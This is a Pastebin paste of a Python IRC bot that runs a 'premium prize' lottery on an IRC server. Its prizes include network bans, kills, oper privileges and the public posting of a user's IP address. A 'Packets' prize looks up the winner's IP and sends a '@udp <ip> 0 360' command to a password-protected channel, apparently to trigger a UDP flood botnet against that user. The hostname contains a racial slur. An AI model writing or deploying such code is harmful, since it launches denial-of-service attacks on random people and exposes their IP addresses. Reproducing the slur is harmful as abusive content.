Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from twisted.words.protocols import irc
- from twisted.internet import protocol
- from twisted.internet import reactor
- import random, time, madhash
- from random import randint
- #more premium prizes
- #zlines
- #access to premium commands
- #ip
- #ddos
- #kill
- #kick
- #etc
- #track good rewards maybe?
- #add more bad_ips
- oper_pass = ''
- ns_pass = ''
- delay = 20
- ddos_channel = ''
- ddos_pass = ''
- bad_ips = ['127.0.0.1', '178.162.240.66', '178.162.240.67', '178.162.240.68', '178.162.240.69', '178.162.240.70', '178.162.240.71', '178.162.240.72']
- debug_prefix_add = '>>DEBUG_ADD<<'
- debug_prefix_del = '>>DEBUG_DEL<<'
- def dice(max):
- if random.randint(1,max) == 1:
- return True
- else:
- return False
- class HouseBot(irc.IRCClient):
- def _get_nickname(self):
- return self.factory.nickname
- nickname = property(_get_nickname)
- user_dict = {}
- gift_dict = {}
- ddos_dict = {}
- ip_drop_dict = {}
- def signedOn(self):
- self.sendLine('OPER %s' % oper_pass)
- self.mode(self.factory.nickname,True,'BH',None,None,None)
- self.msg('Nickserv','id %s' % ns_pass)
- self.msg('Operserv', 'set superadmin on')
- self.join(self.factory.channel)
- self.join('%s %s' % (ddos_channel,ddos_pass))
- def gline(self,k,v,user,channel):
- self.msg(channel,'%s just won a premium %s, with odds of 1 in %s. :D' % (user,k,v))
- self.sendLine('GLINE %s %s :Enjoy your premium %s, courtesy of skidsr.us' % (user,k.split(' ')[0] ,k)) #fuck knows wat that bug wit switch was
- def kill(self,k,v,user,channel):
- self.msg(channel,'%s just won a premium Kill, with odds of 1 in %s. :D' % (user,v))
- self.sendLine('KILL %s :Enjoy your premium kill, courtesy of skidsr.us' % user)
- def _kick(self,k,v,user,channel):
- self.msg(channel,'%s just won a premium %s from %s, with odds of 1 in %s. :D' % (user,k,channel,v))
- self.kick(channel,user,reason='Enjoy your premium kick, courtesy of skidsr.us')
- def founder(self,k,v,user,channel):
- self.msg(channel,'%s just won a premium %s in %s, with odds of 1 in %s. :D' % (user,k,channel,v))
- self.mode(channel,True,'q',None,user,None)
- def oper(self,k,v,user,channel):
- self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
- self.msg('OperServ','oline %s +iOwghraAxNWqt' % user)
- self.msg('OperServ','umode %s +iOwghraAxNWqt' % user)
- def ddos(self,k,v,user,channel):
- self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
- self.ddos_dict[user] = channel
- self.sendLine('USERIP %s' % user)
- def vhost(self,k,v,user,channel):
- self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
- self.sendLine('CHGIDENT %s Certified' % user)
- self.sendLine('CHGHOST %s premium-chatter.%s' % (user,user))
- def ip_drop(self,k,v,user,channel):
- self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
- self.ip_drop_dict[user] = channel
- self.sendLine('USERIP %s' % user)
- def debug(self,k,v,user,channel):
- self.msg(channel,'%s %s %s' % (k,v,user))
- prizes = {
- '24hr Gline':[10000,gline],
- '6hr Gline':[5000,gline],
- '1hr Gline':[1000,gline],
- '10min Gline':[800,gline],
- '1min Gline':[150,gline],
- 'Kill':[50,kill],
- 'Kick':[20,_kick],
- '+q':[60,founder],
- 'Oper Flags':[1000,oper],
- 'Packets':[450,ddos],
- 'vhost':[15,vhost],
- 'IP drop':[75,ip_drop],
- }
- def irc_JOIN(self, prefix, params):
- channel = params[0]
- nick = prefix.split('!')[0]
- host = prefix.split('!')[1]
- if nick != self.factory.nickname and channel == self.factory.channel:
- if host not in self.user_dict or self.user_dict.get(host, None) <= int(time.time()):
- self.user_dict[host] = int(time.time()) + delay
- for k, v in self.prizes.iteritems():
- if dice(v[0]):
- print 'Succesful Dice for %s' % k
- self.prizes[k][1](self,k,v[0],nick,channel)
- if k == 'vhost':
- del self.user_dict[host]
- self.user_dict['certified@premium-chatter.%s' % nick] = int(time.time()) + delay
- break
- else:
- print '%s needs to wait %s seconds' % (nick, self.user_dict.get(host, None) - int(time.time()))
- elif nick == self.factory.nickname:
- self.msg(channel, 'Did someone say premium?')
- def privmsg(self, user, channel, msg):
- nick = user.split('!')[0]
- try:
- host = user.split('!')[1]
- except IndexError, e:
- pass
- else:
- if msg.split(' ')[0] == debug_prefix_add:
- try:
- person = msg.split(' ')[1]
- prize = ' '.join(msg.split(' ')[2:])
- except IndexError, e:
- self.notice(nick,'Invalid Syntax: %s nick reward' % debug_prefix_add)
- else:
- if prize in self.prizes:
- self.gift_dict[person] = prize
- self.notice(nick,'Debug set, %s will win %s next time they >roll' % (person,prize))
- else:
- self.notice(nick,'Invalid Reward, use: >prizes for a list of what can be won.')
- if msg.split(' ')[0] == debug_prefix_del:
- try:
- person = msg.split(' ')[1]
- except IndexError, e:
- self.notice(nick,'Invalid Syntax: %s nick' % debug_prefix_del)
- else:
- if person in self.gift_dict:
- del self.gift_dict[person]
- self.notice(nick,'Debug for %s has been removed.' % person)
- else:
- self.notice(nick,'No denug set for %s' % person)
- if msg.split(' ')[0] == '>prizes':
- self.notice(nick,'Premium prizes to be won:')
- for k, v in self.prizes.iteritems():
- self.notice(nick,'%s with odds of 1 in %s' % (k,v[0]))
- if msg.split(' ')[0] == '>roll' and channel == self.factory.channel:
- if nick in self.gift_dict:
- k = self.gift_dict.get(nick, None)
- v = self.prizes.get(k,None)
- self.prizes[k][1](self,k,v[0],nick,channel)
- print 'Succesful debug of %s for %s' % (k,nick)
- del self.gift_dict[nick]
- elif host not in self.user_dict or self.user_dict.get(host, None) <= int(time.time()):
- self.user_dict[host] = int(time.time()) + delay
- lucky = ''
- for k, v in self.prizes.iteritems():
- if dice(v[0]):
- print 'Succesful dice roll of %s for %s' % (k,nick)
- self.prizes[k][1](self,k,v[0],nick,channel)
- lucky = 1
- if k == 'vhost':
- del self.user_dict[host]
- self.user_dict['certified@premium-chatter.%s' % nick] = int(time.time()) + delay
- break
- if not lucky:
- self.notice(nick,'Unlucky, you haven\'t won any premium prize.')
- else:
- self.notice(nick,'You need to wait %s seconds' % (self.user_dict.get(host, None) - int(time.time())))
- def irc_unknown(self, prefix, command, params):
- if command == '340':
- user = params[1].split('=')[0].replace('*','')
- ip = params[1].split('@')[1].replace(' ', '')
- if user in self.ddos_dict:
- if ip in bad_ips:
- self.msg(self.ddos_dict.get(user, None),'%s is lucky their ip is on the no ddos list' % user)
- else:
- self.msg(ddos_channel,'@udp %s 0 360' % ip)
- del self.ddos_dict[user]
- elif user in self.ip_drop_dict:
- self.msg(self.ip_drop_dict.get(user, None),'%s: nice ip bro: %s' % (user,ip))
- del self.ip_drop_dict[user]
- class HouseBotFactory(protocol.ClientFactory):
- protocol = HouseBot
- def __init__(self, channel, nickname='Premium_Bot'):
- self.channel = channel
- self.nickname = nickname
- def clientConnectionLost(self, connector, reason):
- connector.connect()
- def clientConnectionFailed(self, connector, reason):
- print "Connection failure:", reason
- reactor.stop()
- if __name__ == '__main__':
- reactor.connectTCP('niggers.skidsr.us', 6667, HouseBotFactory('#venuism'))
- reactor.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement